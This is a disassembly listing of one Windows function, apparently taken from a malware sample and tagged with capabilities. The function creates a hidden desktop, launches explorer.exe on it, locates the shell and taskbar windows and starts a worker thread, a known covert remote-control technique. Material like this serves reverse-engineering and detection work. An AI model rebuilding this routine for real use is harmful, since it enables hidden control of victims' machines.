Function at 0x100077f0
Capabilities:
Create process on windows
Create thread
Find taskbar
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1cc
push ebx
push esi
push edi
call fcn.100242b0
mov edi, eax
mov eax, dword [ebp + 8]
mov dword [eax + 0x10], 0x100077e0
mov eax, 1
add dword [0x1005af54], eax
xor ebx, ebx
mov dword [esp + 0xc], edi
cmp dword [0x1005067c], ebx
jne 0x10007a12
lea ecx, [esp + 0x34]
push ecx
push 0x10000000
push eax
push ebx
push ebx
push 0x1005c104
mov dword [esp + 0x4c], 0xc
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], eax
call dword [sym.imp.USER32.dll_CreateDesktopA]
mov dword [0x1005067c], eax
cmp eax, ebx
jne 0x10007869
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push 0x40
lea edx, [esp + 0x48]
push ebx
push edx
call sub.MSVCRT.dll_memset
xor eax, eax
add esp, 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
lea eax, [esp + 0xd0]
push eax
push ebx
push 0xffffffffffffffff
push 0x24
push ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x54], 0x44
mov dword [esp + 0x5c], 0x1005c104
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x10007bbb
mov eax, edi
cmp edi, ebx
jne 0x100078c9
mov eax, str.explorer.exe
push eax
lea ecx, [esp + 0xd4]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x44]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, dword [sym.imp.USER32.dll_GetShellWindow]
call esi
mov dword [0x10050580], eax
cmp eax, ebx
jne 0x10007923
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, edi
push 0xa
call edi
call esi
mov dword [0x10050580], eax
cmp eax, ebx
je 0x10007910
mov edi, dword [esp + 0xc]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov dword [0x1005af90], edx
mov esi, eax
mov dword [esp + 0xc], ebx
cmp eax, ebx
je 0x10007959
lea ecx, [esp + 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10007959
test byte [esp + 0xc], 2
jne 0x10007959
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
mov esi, eax
mov dword [esp + 0xc], ebx
cmp eax, ebx
je 0x10007985
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10007985
test byte [esp + 0xc], 2
jne 0x10007985
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push ebx
push str.Shell_TrayWnd
mov dword [0x1005af6c], eax
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x1005c104
mov dword [0x1004fc04], eax
mov dword [0x1005af58], ebx
mov dword [0x1005af5c], ebx
mov dword [0x1005af60], ebx
mov dword [0x1005af64], ebx
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
push ebx
push ebx
push ebx
push 0x100074e0
push ebx
push ebx
mov dword [0x100505ec], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
mov dword [esp + 0xc], ebx
cmp esi, ebx
je 0x10007bbb
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10007bbb
test byte [esp + 0xc], 2
jne 0x10007bbb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10007bbb
cmp dword [0x1005af90], ebx
je 0x10007a27
call fcn.10024b30
test eax, eax
jne 0x10007bbb
mov ecx, dword [0x1005067c]
push ecx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push 0x40
lea edx, [esp + 0x90]
push ebx
push edx
call sub.MSVCRT.dll_memset
xor eax, eax
add esp, 0xc
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
lea eax, [esp + 0xd0]
push eax
push ebx
push 0xffffffffffffffff
push 0x24
push ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x9c], 0x44
mov dword [esp + 0xa4], 0x1005c104
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x10007bbb
mov eax, edi
cmp edi, ebx
jne 0x10007a96
mov eax, str.explorer.exe
push eax
lea ecx, [esp + 0xd4]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x8c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, dword [sym.imp.USER32.dll_GetShellWindow]
call esi
mov dword [0x10050580], eax
cmp eax, ebx
jne 0x10007aef
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, edi
push 0xa
call edi
call esi
mov dword [0x10050580], eax
cmp eax, ebx
je 0x10007ae0
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [0x1005af90], edx
mov esi, eax
mov dword [esp + 0x10], ebx
cmp eax, ebx
je 0x10007b27
lea ecx, [esp + 0x10]
push ecx
push eax
call edi
test eax, eax
je 0x10007b27
test byte [esp + 0x10], 2
jne 0x10007b27
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x24]
mov esi, eax
mov dword [esp + 0x10], ebx
cmp eax, ebx
je 0x10007b4f
lea edx, [esp + 0x10]
push edx
push eax
call edi
test eax, eax
je 0x10007b4f
test byte [esp + 0x10], 2
jne 0x10007b4f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push ebx
push str.Shell_TrayWnd
mov dword [0x1005af6c], eax
call dword [sym.imp.USER32.dll_FindWindowA]
push ebx
push ebx
push ebx
push 0x100074e0
push ebx
push ebx
mov dword [0x1004fc04], eax
mov dword [0x1005af58], ebx
mov dword [0x1005af5c], ebx
mov dword [0x1005af60], ebx
mov dword [0x1005af64], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
mov dword [esp + 0x10], ebx
cmp esi, ebx
je 0x10007bb7
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
je 0x10007bb7
test byte [esp + 0x10], 2
jne 0x10007bb7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0xc]
mov ecx, dword [0x1004fb58]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp edi, ebx
je 0x10007bec
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10007bec
push edi
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
or al, 0xff
pop ebx
mov esp, ebp
pop ebp
ret 4